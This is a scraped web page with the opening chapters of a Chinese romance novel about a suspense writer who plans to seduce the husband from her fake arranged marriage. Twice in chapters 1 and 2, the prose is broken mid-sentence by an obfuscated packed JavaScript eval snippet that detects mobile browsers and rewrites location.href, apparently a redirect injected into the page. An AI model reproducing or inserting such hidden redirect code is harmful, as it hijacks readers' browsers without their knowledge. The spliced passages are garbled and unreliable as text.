《瑰夜迷迭[先婚后爱]》 1. 刺激 “啪——” 【爱上瘾】女霸总与她的七个男友。 【哥哥不要啊】伪骨科禁忌爱,寄人篱下少女夜夜拉灯被爱。 【强制白玫瑰】黑大佬与落魄千金,黑大佬强制爱,各种禁忌play,调教SM,超会玩超刺激! “……” 一张十八禁的名单拍到了江凝烟的眼前。 江凝烟瞄了一眼后,觉得这雪白的A4纸莫名发黄。 她将脸从电脑面前抬起, “怎么?让我改行写Po文?” 就这么点小挫折,不至于改行吧? 不至于,真不至于。 她淡定地把自己电脑往对方那边转了转,“我已经找到解决办法了,改行就不必了。” 她的小伙伴漫画家李佳盈搬个小板凳坐在她边上,抬眼看见的就是她电脑屏幕里新敲出来的剧情:【顾槐浑身被砍了四十八刀,头上破了个大洞,脑浆像是从血泊里钻出来的毛毛虫一样,裹着血衣一点点扭曲着往外爬行……】 李佳盈看见她屏幕上的光标在那儿均匀的闪烁,心脏猛地漏跳一拍,大喊一声,“不是!你把女主的男人给写嘎了?” 这具倒霉的尸体主人顾槐,正是剧中男主本人。 说起这个江凝烟表情兴奋,情绪高涨,好像终于解决了这个难题,语气像是在海里嬉戏的鱼,自由自在,“啊,终于想到了解决情感线的办法了!把他写死,就没有情感线了,大BE,读者肯定哭得稀里哗啦,奉灵槐CP为永恒经典BE!” 李佳盈:“……” 李佳盈张大了嘴,看着这位天才作家得意洋洋的样子,瞠目结舌,“你有没有心啊?把暗恋女主七年,为女主挡刀挡枪,为爱当警察的纯纯恋爱脑男主给写死了?还死得这么惨?” 这么痴情一男主,结果,剧本还没到三分之一把人给写死了? 江凝烟整个人都轻松了,明艳的眼尾翘起,无意间像是钩子一般动人,“嗯。接下来我们智灵就一个人努力探案吧!” 李佳盈差点被她气死,这脑回路绝了。天才作家的脑回路果然不是吾等凡人能理解的,李佳盈心想。 李佳盈哭笑不得地说:“宝,让你解决掉问题,不是解决掉男主。” 江凝烟年少成名,成名作是一本大女主悬疑小说,身边每天都有命案,每当女主身边出现特别优秀的男性,读者都以为女主终于要谈恋爱了,结果女主跟人家接近,只是为了证实她身边的人是不是他杀的,证实了是之后痛痛快快想办法杀掉,证实了不是之后就痛痛快快甩掉,各种出乎意料。 江凝烟每天都沉静在打打杀杀的世界里,五年了,她的女主们,没一个谈过恋爱的。 但她写的悬疑精彩到男女老少通吃,国民度超高。 小说被改编成电影电视剧动漫游戏,全球爆火。 但是资方还不满足,她们靠着敏锐的嗅觉觉得还能靠江凝烟吸干大盘。 为了扩大刑侦剧的受众,她们让她增加情感线。她也确实增加了。只不过,每次有情感进展资方总是吐槽男女主互动没半点意思,明明这么好的设定写不出半点火花来,让她赶紧想办法解决问题。 她倒是想办法了,想到的办法居然是剧不到三分之一就把男主写死,把情感线掐断! 要不说这姑娘是个天才呢。 真他爹的天才。 李佳盈把这张发黄的A4纸往她眼前推了推,涨红脸兴奋推销道:“我给你墙裂推荐几本拉扯感超绝的小坡文!都是我书龄十多年精心筛选过的!作者文笔好、车速快、拉扯超级香!绝对是我十多年阅历里的TOP合集!” 李佳盈手舞足蹈,说得口干舌燥,脸蛋滚烫,抓起桌上的矿泉水灌了好几口,继续说:“你看完之后绝对受益匪浅!性张力啊,性张力懂不懂?就是你的男女主谈恋爱不能天天只谈死人,只谈尸体,得谈到床上去,懂吗?” 江凝烟那双明艳的电眼微转,支着下颚注视着李佳盈,明眸笑得晶亮,“怎么?你还想把这搬上屏幕?这能播?你死了这条心吧。” 李佳盈不论多少次都会被她的笑容惊艳到,江凝烟笑起来特别明媚璀璨,像是清晨海边初升的旭日绮丽蓬勃又沾了点水的温柔,波光与朝辉幢幢乱人眼。 她顿时脸更红了,也更诧异了。这么漂亮一大美人,打小不知道多少追求者,如今二十一了即使不是情场老手,混起情场也该如鱼得水才是,怎么写起情感线来就像是被夺了舍呢? 李佳盈惆怅地说:“不是拍做的过程,而是那种脸红心跳的感觉,那种想往床上去的性冲动。” 说到床上,李佳盈眼睛一亮问:“你都二十一了别天天待在工作室,出去跟男人约个会谈个恋爱?” 说起这个江凝烟表情微微一怔。 她恐怕没有谈恋爱的机会了。 一个月前,她已经奉命跟陆家长子陆京御结婚了。 婚礼很盛大,云集了各种名人,但是,实际却是假结婚。 她姥爷为了不让江家霸占她的财产,也为了她的幸福,给她物色了陆京御联姻。 陆家因为她姥爷临终托孤,义不容辞。 但她私下跟陆京御说,只是假结婚,等她财产全部过户好之后,就不用麻烦他了。 她也会给他一些补偿。 毕竟人家花了很多钱办婚礼。 结婚一个月,她一直住在工作室,没回两人的婚房。 可是,即使是假结婚,如果她在外面谈恋爱被别人知道了,会损了陆家的颜面。 本来就是请人帮忙,再给他戴绿帽容易把陆家惹炸了,朋友变敌人就不好了。 不然,让陆京御帮忙帮到底? 跟她谈恋爱? 该怎么跟他说呢? 因为剧情需要? 但她不想爆马。 她家里人也不知道她的笔名,不知道她是火遍全球的悬疑作家化雾。 《凛冬那夜》《将死》《惊夜是谁》三本书全球累计销量破亿,但是网络上没有她的任何真实身份信息。 她不说当然是有理由的。 她再怎么装,写出来的东西很诚实: 将她的本性暴露无疑。 去年她的成名作《凛冬那夜》改编成电视剧上映,她剧里的弹幕除了惊叹她逻辑严密,构思精彩,有时候也会是这种调调: 【好恐怖,吓死宝宝了,编剧是什么心理变态? 】 【她是不是真知道切肉什么感觉?】 【编剧大大你的心不会痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698961|157003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗?你怎么舍得甩了他啊?!把你家地址报出来!我要给你寄刀片!】 【编剧滚粗来!别再逃了!老实交代,作过多少次案?】 【编剧报上名来!让我们康康是不是《刑法》漏网之鱼?】 【我心理医生,真的很担心编剧的精神状态。】 “……” 更别提,艺术来源于生活,身边的人看了可能会觉得似曾相识,严重了甚至会影响她继承财产。 而且,她向来在文中百无禁忌地发疯,有时候觉得她的作品能火,跟大家压力大,需要一起不违法地发疯也很有关。 扒她马甲如扒她衣服,所以她没让别人知道。 她把最新章节传给了资方妈妈看了一眼,资方妈妈等了半个多月她的解决办法,没想到等来的却是她把男主直接写嘎了,瞬间痛哭流涕,发表情给她跪了:【不可以写嘎!!!我已经是顾槐的头号大粉丝了,观众也会爱他的!他真的很好!我求你了!把他写活!你敢这么写,相信我,你会被尾随,被寄刀片,很恐怖!】 江凝烟托着腮看着满屏流泪的表情。 麻烦。 她抬头,看见不远处的山上踱了一层艳丽的红,脑子里忽然浮现出一双自带红眼尾的丹凤眼,微微愣了一下。 她打开李佳盈墙裂安利的清单,找了一篇比较符合顾槐人设的文看看。 顾槐的人设是斯文败类。 这篇设定男主刚好是斯文败类,叫《迷夜【先婚后爱】》。 李佳盈贴心地备注:男主斯文败类觊觎女主,女主明艳动人也觊觎男主,两人阴差阳错不知道对方心意,互相明撩暗勾,把婚姻生活过得那叫一个刺激啊啊啊! 江凝烟看着发黄的纸都能想象出李佳盈发红的脸。 江凝烟搜了一下,打开,开始读起Po文经典名著: 【她居然撩完就跑。 居然一声不吭就出去旅行。 不是说好会在家乖乖等他出差回来? 不是说很想他,超想他,想得发疼吗? 不是说等他回来陪他玩SM吗? 他沉默地坐在沙发上,手背上的血管鼓起像是要冲破皮肤,眼尾发红,眼角的泪湿润了红眼尾,阴鸷又潋滟。 她人都不在,让他今晚玩什么? 他整个人陷入一片无尽的黑暗中,手指轻轻婆娑着手中的皮具,将冰凉的皮具都抚热了,良久,他唇角勾起抹又欲又疯的笑。 不不不。 是他不对。 是他临时被拉去开会,晚了一天回家。 他得好好道歉。 得补偿她。 得好好疼疼她。 她喜欢M。 那捆着,跪着给她t.i.a.n吧……】 江凝烟:“0” 江凝烟看着这几行字,一时间失语。 这是真的吗? 大家白天工作学习一个个跟个死人样,晚上关上门都活得这么丰富多彩吗? 江凝烟托腮。 知识盲区了。 她接着看后面八百字的颜色描写。 江凝烟:“0” 这真的是真的吗? 把斯文败类惹毛了……是这么刺激的吗? 2. 最脏 金乌西坠。 涓涓泉水声中,她坐进了自己的红色法拉利。 今儿她得回家一趟,陆京御准备在家中宴请京卓的一众股东。 京卓就是她爸爸留下来的企业。 红色法拉利在葱葱茏茏的蜿蜒山路中飞驰。车顶敞开,像是翱翔长空的鸟儿自由地调整着自己的飞行姿势。山风零落了一阵粉色桂花雨,清爽的山风中沁着香甜的桂花味扑鼻,甜而不腻。 路过一个山庄,有一群年轻男人似在聚会,远远见她乌黑的大波浪墨发迎风飞扬,张扬又靓丽,顿时,荷尔蒙躁动了沉寂庄重的古典山庄。 这群人个个衣着不凡,像是富家子弟,却因为看见戴着墨镜遮了小半张脸的江凝烟而骚动。 李佳盈再次感慨:这姑娘不谈恋爱真可惜,分明这么多货可以挑。 前面弯道处上来一辆价值半亿的阿斯顿马丁One77,手工打造的白色铝制车身优雅贵气。 李佳盈在跑车中比较钟爱阿斯顿马丁,因为它的线条轮廓特像文质彬彬的绅士。然而装载着7.3L V12自然吸气发动机,动力十足,咆哮时就像是斯文守礼的男人倏地撕开束缚他的衬衫,露出遒劲的臂膀、野性的公狗腰,浑身上下的性张力让人血脉偾张。 那种斯文和狂野切换自如的张力,让人着迷。 更别提这辆阿斯顿马丁是全球限量77辆,国内只有五辆,每辆都价值数千万。 此时阿斯顿马丁不疾不徐地行驶在山路上,看见她们的法拉利从山上下来更放慢了车速,似在桂花雨间漫步的绅士。 在山庄入口前的平坡上,阿斯顿马丁彻底停了下来,却没开进去。 李佳盈一直没挪开视线,她对这辆限量豪车的主人难免好奇。 树影婆娑,花雨纷落,男人修长的身子从阿斯顿马丁中探出,下了车。 一窥见真容,李佳盈心脏荡了几荡。 男人白衬衣外穿了件黑色马甲站在桂花雨下,熔金浮光的日,阴翠滴绿的树,粉红嫩黄的花,冷感禁欲的人,居然能碾压她漫画里煞费苦心勾勒出来的唯美意境。 他像是踱了层釉般黑亮的眼眸循声瞥过来,神情淡静,眼神却像是一颗天然的黑洞,将人的视线霸道地吸过去。 黑马甲和西装裤搭配很显劲腰,马甲上配了个金色胸针,英挺又自然的鼻梁上架了副金丝边眼镜。 他的手覆在白色车门的边缘,优雅的法式叠袖袖口上,别着淡金色的袖扣,在夕阳艳丽的余晖下金色的金属闪过抹倜傥,斯文矜贵但并不死板呆滞。 简直是斯文败类的最佳人选! 简直是坡文在逃男主角! 李佳盈兴奋激动得呼吸滞住,压低声音道:“卧槽!哪儿冒出来的神仙?看着是极品斯文败类啊,卧槽!我可以直接代入我最爱的那本《哥哥不要啊》的男主角,啊啊啊啊!” 江凝烟:“哥哥不要啊?” 这本她还没看,刚刚的迷夜还没看完呢。 李佳盈当场给她背诵,“这袖扣我就想到,外头喧闹,他把女主拐到阴暗小角落浑身上下衣着周正看着人模人样却恶劣强势地逗弄女主。完事了还一本正经地整理下法式叠袖袖口,拨拨他矜贵的袖扣,恢复他道貌岸然高岭之花的模样。” “他拖腔带调地说一句:啧,水沾湿袖子了,晚上再罚你。” “等出去人家问他袖子怎么湿了,他会漫不经心地随口撒谎道:洗手的时候弄湿了。” 江凝烟:“……” 不是说文学完全不行记忆力不行吗? 这不都能背诵全文了啊? 看来人类果然在有兴趣的地方能突破自己极限。 李佳盈叫道:“嗷嗷嗷,哪冒出来的?好帅。” 京洲路1号冒出来的。 李佳盈还不知道她的家庭背景,她家里人也不知道她就是化雾。 江凝烟不想麻烦,只是看了他一眼,法拉利就飞驰而过。 李佳盈在车上还喋喋不休,“啊,你就这么开走了?难得碰到个极品,你不留下来搭个讪?他做你的恋爱对象完全可以!一看就闷骚!倒回去倒回去倒回去啊,就跟他说你想买他的one77,这不就认识了吗?” 江凝烟觉得她倒是近水楼台,省掉了搭讪的麻烦。 要找他,晚上去京洲路1号就可以了。 她把李佳盈送到家之后,给陆京御发了消息,【怎么来云岱山庄了?】 说好今晚在他家里请她叔叔婶婶还有京卓的股东们吃饭的。 陆京御:【订了些酒我过来取,这就回。】 - 京洲路1号。 陆京御的城堡里。 不是。 别墅里。 屋内用的冷调熏香跟玫瑰的香味交织出一种让人放松又着迷的味道。 江凝烟坐在餐桌边,脸上扬起炮弹都击不碎的社交笑容,手指支着下颚,笑容明媚地注视着陆京御。 陆京御神情平淡,从她进来开始,一直在餐桌上布景,忙东忙西。 他很讲情调,也非常有品味。 屋内的光线被他调得偏暗,他单手微微拢着火机,长身稍倾,一根根点着了精致华丽错落有致的蜡烛。 江凝烟的注意力不由自主地集中到他手上。 他手背上肉很少,很骨感修长的一只手,连骨节都很性感,上面青筋明显,暗暗透着男性的力量感。仔细看他的手指指尖微翘,指甲圆润又修长,弧度非常有美感。 无名指上戴着枚婚戒。 他的婚戒是有数颗小的方形蓝钻组成,大的蓝钻在她手上。 她的那颗蓝钻价值一栋楼。 她跟他说过假结婚不用买这么好的戒指。 他说买差了还不如直接告诉别人他们假结婚。 她只好跟他承诺事情办完之后还他。 他的无名指很长。 这让她想起李佳盈的巨作。李佳盈是手控,画画的时候经常画青筋偾起的手,布满水渍的手,还给她解释说男主的无名指要画长一点,无名指越长,代表丁/丁越大。 “哒”的一声。 他收起了火机。 江凝烟不由自主地将视线挪到他的眼睛。 他有一双标志的丹凤眼,他的丹凤眼并不狭窄,算大,也让他的眼睛更加漂亮。 眼尾上挑,冷艳、贵气,不笑时自带上位者的威严。 大概是被李佳盈的嚎叫影响了,她这会儿看他觉得他眼尾带着抹红,显得冷艳高贵中夹了一抹骚气妖冶。 哎。人呢。果然,心脏了,想什么都脏。 把这么斯文的人都想骚了。 她这两个月跟陆京御接触下来,他做事周到妥帖很有分寸,就连秀恩爱,也只是眉眼传情。这样的人,是真斯文人,不是斯文败类。 “盯着我看做什么?”他忽然道。 “看我老公怎么了?” 管他真斯文假斯文,撩了才知道。 他插花的手指一顿,眼神望过来,火光摇曳在他眼中,他的黑眸亮得像是水中浮动的金色明月,但是,是浸在凉飕飕的冰水里的一轮冷月,“你说,假结婚。” 说完,他冷淡地挪开视线,手指继续拨着花瓣,红的粉的白的玫瑰花整齐地插在雕花繁复的银色花瓶里。 “Surprise!恭喜你!赢得了我的真心!可以转正啦!!!”江凝烟笑容亮璨璨地说。 她知道陆京御对于她提出假结婚应该是生气的。毕竟本来两家是让他们真结婚。 可她提出假结婚,并且给他拟了上百条霸王条款,比如:对方不愿意,另一方越界身体接触,婚姻关系立刻解除。 签下这种霸王条款, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他咚的一声把一枝花丢进瓶子里,“你不用这样我也会帮你把财产拿到手。” “你不相信?你也可以试验我的忠诚度。” “哦?怎么试?” “今晚我睡在这里。” 最近都睡在这里,晚上不出门了吧,新案件新的别出心裁的埋尸方法想个白天能研究的。 陆京御手指被玫瑰的刺扎了一下,指尖迅速冒出点血珠。 江凝烟大惊,从座位上跳起来,抓住他的手,“啊,老公,怎么这么不小心啊?疼不疼啊?” 她直接把他的手指塞进了自己嘴巴里。 吸了两口。 还用舌尖舔了一下。 陆京御浑身像是被冻住。他倏地抽手,抽回来的手指湿淋淋的,发着微光。 他长身微侧,长臂一探,从桌上抽了张纸巾,擦了下手,“去漱口,手最脏了。” 江凝烟目光一会盯着他侧身时的劲腰上,一会盯着他抽纸的手上,一会盯着他的眼睛,笑盈盈地说:“哦,是吗?” 陆京御正在擦手的手僵住。 是吗? 陆京御被她这两个字干懵了。 他眼神不敢置信地射过去。 是吗? 不是。 还有更脏的。 江凝烟笑得直白又灿烂,对他抛了个媚眼就欢快地跑了。 陆京御被她气笑。 是还有更脏的。 她还想给他……不成? 3. 吻 陆京御的别墅里很快门庭若市。 江凝烟已经单方面宣布他是她真老公了,直接牵过他的手,手指塞进他的指缝,拉着他跟宾客们挨个敬酒。 江家最大的公司京卓的大股东们都到齐了。 江凝烟不到十岁就没了父亲,当时他父亲是京卓最大的股东,死后,她的股权由她的叔叔江哲代管。 她父亲百分之二十的股份大约价值两百亿。 因为这些股权涉及到公司的掌控权,公司里内斗起来。 江凝烟其实根本无所谓公司,她只要她的两百亿。 她叔叔的意思还是股权直接卖给他,但是因为他没那么多现金,要了比较长的交割期,需要一年慢慢付钱。 到现在也就付了两亿定金。 今天请公司的股东们吃饭,是陆京御提出来的,钱没到手不能放松警惕。 江凝烟对于商业只了解书面上的东西,她看过很多财经类的书籍,也看过很多商界大佬的传记,但这些东西都是能摆到明面上来的,暗地里都是什么鬼样子,她是没见识过。 陆京御跟她说,即使签订了合约,股权交割也可能出现问题。 比如,这一年忽然公司出现什么问题,之前的股东也需要承担责任,那她的两百亿也会泡汤。所以,不是等着打钱就好了,得熟络各个掌权的股东,了解真正的内部情况,才能不被忽悠。 江凝烟其实一直对大龄的男人没有任何滤镜,毕竟,有的男人只长年龄不长脑子不长阅历。 但是,陆京御比她大七岁,感觉却是实打实地更可靠。 他太让人安心了,比如此刻,人前该流露的眼神不用教的,一看就夫妻生活很和谐。 她指腹婆娑着他手背上那根鼓起的血管,像是在跟他打招呼般,来回拨弄了几下,偏头悄声道:“你要不要照镜子看看你的眼神,狗都沦陷了,怎么还那么不自信呢?” 陆京御温柔含笑的眼神睇过来,指甲却惩罚似地掐了下她的手背,“有你这么骂自己的?” 江凝烟:“……” 她啧了一声,笑嗔道:“过分了啊。” 两人这样在外人看来像是打情骂俏。 边上有人过来说道:“哎哟,小夫妻甜得哟。” 是京卓一个小股东还有他的儿子。 江凝烟笑吟吟地跟他们俩举杯碰了一下,“郭总,小郭总。” 郭总说:“见外了啊,怎么还叫总呢,喊我叔叔好了,当年要不是你爸对我好,把我当亲兄弟,我哪能成为京卓的股东啊。我永远把你当亲侄女,你也别见外。有什么事叔叔能帮忙的尽管说。” 江凝烟脸上挂着标准的笑容,还显得挺真诚,“谢谢郭叔。” 其实江凝烟是适合商场的,应该说她不止适合商场,她适合所有有人的场合,毕竟她嘴比蜜甜,心比冰凉。 可惜,她只喜欢做她自己喜欢的事情。 郭总说:“听你叔叔说,你是京大的,很优秀啊,大学上的什么专业啊?” 江凝烟:“心理学。” “哟,怎么读了心理学?京大经管不是很好吗?” 这时候她叔叔来笑着说:“谁说不是呢?当时让她报经管类的专业,这孩子天资聪颖,毕业后进入京卓,前途不可限量。我呢,也能轻松些,京卓以后都是你们下一代的。谁知这孩子就是不愿意。” 郭总立刻附和道:“啊呀,要我说你这股权根本不用卖给你叔叔。就挂在你名下,直接毕业后进京卓工作,不就好了?京卓也多个有用的人才。” 江凝烟笑起来电眼弯弯,眼珠又黑又亮,纯净又靓丽,“叔叔您就别打我主意了,能进京卓工作的不各个是人才?差我一个?我觉得我在外边更有用,说不定以后我穿制服,你们要找我帮忙呢。” 郭总墙头草,立刻倒,“哎哟,那也好,你是有你妈妈那边的血脉的。” 江叔叔不以为然地道:“那你得熬多少年啊?你舅舅都没熬出头呢,你姥爷走了也没人帮你了。进京卓多好,叔叔能一直罩着你。” 这时边上一直默不作声的陆京御说:“江叔说笑了。这不还有陆家呢?” 江叔叔眼神目光落到他身上。 空气有一瞬间的凝滞。 陆京御丹凤眼淡笑着注视他,说:“她喜欢做什么,陆家都会全力以赴支持的。” 陆京御跟江叔叔两人差了十几岁,不算一代人,但陆京御年纪轻轻身上的气场很强烈。是那种世家养出来的自信与高贵。 江叔叔哈哈大笑,“希望你说到做到啊。” 陆京御一手牵着江凝烟,一手捏着香槟,跟江叔叔浅浅碰了下杯,脖子一仰,便爽快地一饮而尽,“自然。” 两人敬了一圈酒,走到餐桌边找了些东西吃。 陆京御喝酒上脸。 江凝烟观察了一下他。 两颊颧骨的地方有两抹淡淡的橘红色的红晕,眸子更显漆黑,耳骨发红,在灯光下红得透光。 平时雪山一样冷感的五官,这会儿像日照金山般瑰丽。 见她在打量他,他眼神扫过来,视线猝不及防地撞上,江凝烟没有闪躲,就这么瞧着他,眼神看起来很热烈,两人身边的空气像是被她盯得凝成了热流,在两人周围涌动。 江凝烟笑容更盛,两只手都在把玩他的一只手,像是盲人一样细细地摸着他的手背。 明晃晃的揩油,赤裸裸的勾引。 这场合,陆京御对她没有半点反抗,她做什么他都配合。 陆京御被她挠得手心发痒,搁下手中叉子,长身微倾,朝她肩膀压去,唇微偏,在她耳侧指控道:“我的手哪儿惹你了啊?老侵犯它。” 他身体直起,眼睫毛微垂,看着她,“从进门开始。” 用她的眼睛、用她的嘴、用她的手,侵犯它。 她能用来侵犯的都用了。 江凝烟唇角翘起,小声说:“那你告诉它,它可以侵犯回来。” 陆京御呼吸一滞。 脑子里的地球,像是被火星撞了,天崩地裂,火星四溅,一片焦土。 - 应酬了整整两个小时,宾客散去之后。 陆京御两根手指扯了扯自己喉间的领带,领带微松地挂在他的脖子上。 江凝烟忽然想起李佳盈画的关于男人和领带的图。 一团高大的黑影,背光站在房门敞开的房间前,男人肩膀宽阔,领带在他结实的小臂上绕了几圈,往下坠,拖在地上。 这图就很有性张力,让她会想象男人用领带来干些什么。 M属性立刻膨胀。 然而,陆京御摘下领带,身边的阿姨会立刻上来接过,恭恭敬敬地收起来,在手中程序化地折叠好。 他总是端庄,矜贵,高雅。 可他再怎么端庄,江凝烟也看见了他扯领带的时候那一瞬间,很性感。从手指到脸蛋,从动作到腔调,都很性感。他简单的举止有个特点,能恰到好处的平衡松弛和张力,闲适散漫中带着点洋洋洒洒的劲道。 江凝烟唇角勾起抹弧度,从包里掏出一抹袖珍摄像头,用纸巾包着,贴在身边盆栽的叶子上。 陆京御转身,走过来问她,“今晚睡哪间?”< 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这香完全贴合他的气质,有种君临天下的冷冽帝王霸气,但暗暗透着抹勾人心魂的风流倜傥。只是这抹风流藏在冷冽下有些飘忽不定,让人特想伸手去撕开它。 唔。这味道,有点上头。 百万没白花。 镜头前,他的手抬起来环住了她的后背,两条臂膀感觉很结实,包裹感很重。穿着西装,真没看出来他的臂膀这么宽阔有力。 江凝烟唇角得意地翘起。 就知道他会配合。 “哪儿?”他的声音跟这雪松玫瑰香实在不能更搭,分明凛冽的声线还挺撩人,冷欲冷欲的。 她手指在他背后紧了紧,唇贴着他的耳朵,耳鬓厮磨,“别找。盆栽的叶子上。将计就计?” 他的声音低哑了几度,显得更欲,她甚至听见了他喉头滚动的声音,“抱着还不够?” 江凝烟手指交缠在他颈后,抬头,“有点新婚夫妻的样?” 他手指插入她的长发里,捏住她的后颈,俯视着她。 江凝烟的脖子折成一百二十度,看着他。 陆京御的家装修都是欧洲中世纪风,他头顶上是绝美的中世纪玻璃窗花,灯光打在上面,他整张禁欲的脸都浸在赤的紫的金的蓝的绚丽色调里,平时冷感的五官瞬间昳丽动人。 他神情似笑非笑,声音都透着股特带感的冷欲劲,“新婚夫妻什么样?” 江凝烟抹着唇釉的红唇微张,不知道为何,觉得在他捏住她后颈的时候,她就像被提了后颈的小猫,刚才再怎么蹦跶闹腾都安分下来。 他的唇蓦地压下来。 江凝烟第一次在他的吻里感觉到了他张扬肆意热情的一面,也第一次理解多巴胺疯狂分泌是什么感受。 陆京御小臂勒着她的后腰,她的腰腹紧紧贴在他坚硬的皮带扣上,甚至有一点疼。 他浑身都很硬,唇很软,但是舌尖是灼人的。 两人的身体好像通过唇舌连通了,他的血液能通过他们的唇舌侵入她的血管,彻底相融,两人一起沉溺在这种湿润、温暖又激动的感觉中,像是两口冒着泡的温泉打通了,温水噗噗噗地翻滚着泡,暖融融地交织在一起。 她后脑仰着,觉得浑身的血液都涌到快倾倒到脑门上,她的身体像是餐桌上的蜡烛,本来好端端长着的,却被滚烫的火焰一点点灼成一滩液状的蜡油。 这种感觉,没尝过真的描述不出来。 良久,他的舌撤出,吞下她口中掠夺过来的津液,漆黑的眸底还聚着浓雾,瞟了她一眼,打横抱起她,从镜头面前离开。 4. 短暂 抱到二楼,陆京御就将她放下来,丢下一句就关门进屋,“要睡哪间自己跟阿姨说,让她给你铺床。” 江凝烟一时间还腿软,被突然放下地没站稳,往后靠在墙壁上。 她抬眼看见陆京御隔着门缝看了她一眼,那眼神她还以为他会上前扶她,结果,被她的视线捕捉到的时候,“嘭”的一声关上门,“咔嚓”锁上。 江凝烟:“……” 他撤离的动作快到她都来不及反应。 到底是那个吻让人晕头转向,惹得她反应慢了,居然就这样放他进屋了。 还锁上了门。 走廊里点着浪漫的法式铜灯,数根火苗般的灯光在她眼前让她感觉晕眩,眼前出现一个个光圈。 脑海中刚才的五感在那回放。 他的舌尖是烫的,气息是热的,但味道是清爽甘甜的,唇齿间的味道很好闻。她这才想起来他吃东西的时候,还吃了颗薄荷糖。 她听见陆京御喉间溢出的喘息声,低低沉沉的,那声喘息之后,那么稳如泰山的一个人浑身颤了一下,那瞬间她好像感觉天地都在震动,她随着他震颤。而后,他吻得更深,抱得更紧,胸腔的空气都被他剥夺了。 他臂膀包裹感很强,她觉得她像是被茧裹住的蛹,紧紧地被束缚着,但,却轻盈到快能飞了。 这感觉非常美妙。 逐渐的,他口腔里清爽甘甜的味道也散了,被他口腔里的温度给化了,哪哪都是热腾腾的感觉。四周寂静得没有一点儿声响,但是,口齿交融的属于对方的特别私密的声音在耳边放大,好像在交换彼此小心珍藏的秘密。 她手背贴了贴自己的脸,手指抚了抚自己的红唇,脑子里不断回放刚才的感受,清晰又震撼。 她好像有点懂了。 陆京御,还挺好用。 她斜斜靠在墙壁上,缓了一下,下楼拿刚才他吻她的时候掉在地上的包,包里面有手机。 发微信的时候,发现手指还有些发颤,不小心把手机掉在地上,她心疼地捡起来,继续颤颤悠悠地打完字,【哥,你表演系毕业的吗?】 【你对艺术的态度真让人钦佩。】 分明可以借位的,非得真刀真枪。 陆京御跟她接完吻觉得浑身都热乎乎的,后背上出了汗,他不是容易出汗的体质,居然接个吻后背上就湿哒哒的。 他洗完澡出来的时候,发梢缀着水珠,看见微信,挑了挑微湿的眉梢,淡呵一声。 江凝烟很快就收到一条语音微信,声音慢悠悠的,嘲讽地道:【倒不是表演系的,但架不住身边有专业演员,入戏倒也正常。】 江凝烟:“……” 江凝烟挠了挠自己的脸蛋,还烫着没退,被他损得又升起温度来。 她自知撩陆京御可能有些难度。 陆京御现在睡的那间本来是为他们两个人准备的。 据说,婚房是很早就准备好的。 他二十岁的时候陆家就开始为他准备了,两人结婚前陆京御领她来看过,问她还需要添置什么东西。 她说她要假结婚,不跟他住。 然后把花了一上午打的霸王条款给他。 那时候她姥爷刚病逝,她提什么要求陆京御都答应。 他这样的人,被人莫名其妙地拒绝肯定会不开心。这位爷又有钱又帅,说不定人生吃过的第一次苦就是被她不屑一顾。 江凝烟心眼咕噜噜一转,她是个行动派,会制定计划制定目标,并且执行力特别强。 在上陆京御这件事情上,按她的性格是最好今天就上到。 而且,她的直觉向来比较准,她的直觉告诉她,陆京御这个人没那么好上。 既然没那么好上,而她要把他拉到床上,那么李佳盈所说的拉扯感不就来了? 她拨了通电话,“喂?叔叔?走了没?我刚想起来还有点事想跟叔叔聊。” 江叔:“倒没走远,有什么事不能在电话里说?” “电话里说不清楚,比较复杂,就是除了京卓,我妈当时闲着无聊写的那些书的版权不是也在您那儿?” 江叔:“嗐。那个啊,那个是应该还给你。没多少钱,一开始怕你跟你说这些难过,时间长了,我也没想起来。倒也是你母亲的遗物。” “嗯,您帮我整理好的吧?您过来跟我讲讲。” “好。你等会。” 挂断电话之后,她给陆京御发了消息,【我叔叔等会会回来下,还有我妈闲来无事写着玩的书的版权在他那。】 一开始陆京御没动静,等了五分钟后,陆京御像被焊住一样的门总算打开了,“他提出来回来的,还是你跟他要的?” 江凝烟说:“我提出来的,我怕以后万一闹翻了,这些东西我永远要不到了。” 江叔叔也是在跟她谈判京卓股权的时候忽然提起她妈妈还有些遗物。甚至连姥爷舅舅都不知道她妈妈还写过书,还出版过。 陆京御没接话,只问她,“你等会少喝点酒?让阿姨给你炖个燕窝?” 江凝烟弯眼笑,“好。对了,我叔叔爱喝酒,我去酒窖再给他拿瓶酒?” 陆京御:“好。” 江凝烟进入陆京御的酒窖。 脑子里忽然想起《迷夜》里那个为爱发疯的男主角。 男主为女主打造的地下室,也是穿过酒窖就是那地下室,那里有限制级的手铐脚铐。 边上珍贵的酒会成为男女主play的一环。 江哲酒量虽还行,但今天已经喝了不少。给他来点度数高的酒混混,保醉。 江哲一醉,她这个做侄女的就不好意思不留他过夜了。 那她跟陆京御今晚就必须睡一个屋了。 江凝烟唇角一翘,挑了个度数高又好上口的鸡尾酒款待叔叔。 江凝烟的妈妈赵明礼女士生前在家里写了好多书,出版了不少。赵明礼爱写奇幻。其中有一部还被搬上过大屏幕。 江凝烟倒还真不怎么看这类,她看推理悬疑比较多。 江哲将她每部作品跟哪个出版社签约的列了个清单,并且把电话号码给了江凝烟,让她自己联系他们到时候版税付款直接付到江凝烟那儿。 奇妙的是,她妈妈最火的那本书的出版社,跟她是一个出版社。 江凝烟一边整理这些,一边跟叔叔道谢,感谢他保管得这么妥当,一个劲地敬江哲酒。顺带感谢起这十多年的关照。 